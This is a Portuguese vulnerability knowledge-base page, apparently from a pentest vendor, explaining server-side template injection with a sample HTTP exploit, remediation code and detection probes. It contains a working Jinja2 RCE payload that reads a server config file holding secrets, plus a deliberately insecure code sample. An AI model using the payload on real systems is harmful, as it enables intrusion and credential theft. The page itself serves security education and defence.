← Base de Vulnerabilidades
Injection A03:2021-Injection CVSS 9.8

SSTI — Injeção em Template do Lado do Servidor

SSTI em geradores de relatório e emails permite execução de código no servidor. Veja payloads para Jinja2, Twig e Freemarker e como identificar no pentest.

Comum em: Geradores de email, geradores de PDF, sistemas de notificação, white-label · Dificuldade: Média — requer mapeamento do motor de template

O Que É SSTI

Server-Side Template Injection (SSTI) ocorre quando input do usuário é incorporado diretamente em templates server-side (Jinja2, Twig, Freemarker, Smarty, Pebble) e renderizado. A exploração escala de XSS (output controlado) até RCE completo, pois templates têm acesso a objetos Python/Java/PHP do contexto de execução do servidor.

Exemplo Real de Ataque

HTTP Request / Response
POST /api/v1/email/preview
Content-Type: application/json

{"assunto": "Boas-vindas!", "corpo": "Olá {{7*7}}!"}

HTTP/1.1 200 OK
{"preview": "Olá 49!"}
# Confirmado Jinja2 SSTI!

# Escalada para RCE:
{"corpo": "{{config.__class__.__init__.__globals__['os'].popen('cat /app/config.py').read()}}"}

HTTP/1.1 200 OK
{"preview": "SECRET_KEY = 'sk-prod-...' DATABASE_URL = 'postgres://...'"}

Impacto no Negócio e Compliance

SSTI leva diretamente a RCE — o atacante pode executar comandos OS, ler arquivos de configuração, extrair credenciais e criar backdoors persistentes. Frequentemente encontrado em funcionalidades de personalização de email, geração de PDF/relatório, e sistemas de notificação white-label.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Como Remediar

# ❌ INSEGURO — input do usuário como template
from jinja2 import Template
output = Template(user_template_string).render(nome=user_name)

# ✅ SEGURO — template é fixo no código, input apenas como variável
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape(['html']))
# Template hardcoded — nunca aceite template string do usuário
TEMPLATE = env.from_string("Olá {{ nome }}! Bem-vindo à {{ empresa }}.")
output = TEMPLATE.render(nome=user_name, empresa=company_name)

# ✅ Se templates dinâmicos são necessários: use SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template_string)  # Restrito mas não seguro para RCE crítico

Como a Veyronn Detecta Esta Vulnerabilidade

Identificamos SSTI com probes simples ({{7*7}}, ${7*7}, #{7*7}) em todos os campos que aparecem renderizados no output. Escalamos para RCE mapeando o motor de template e explorando gadgets específicos.

Pronto para Contratar seu Próximo Pentest?

Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.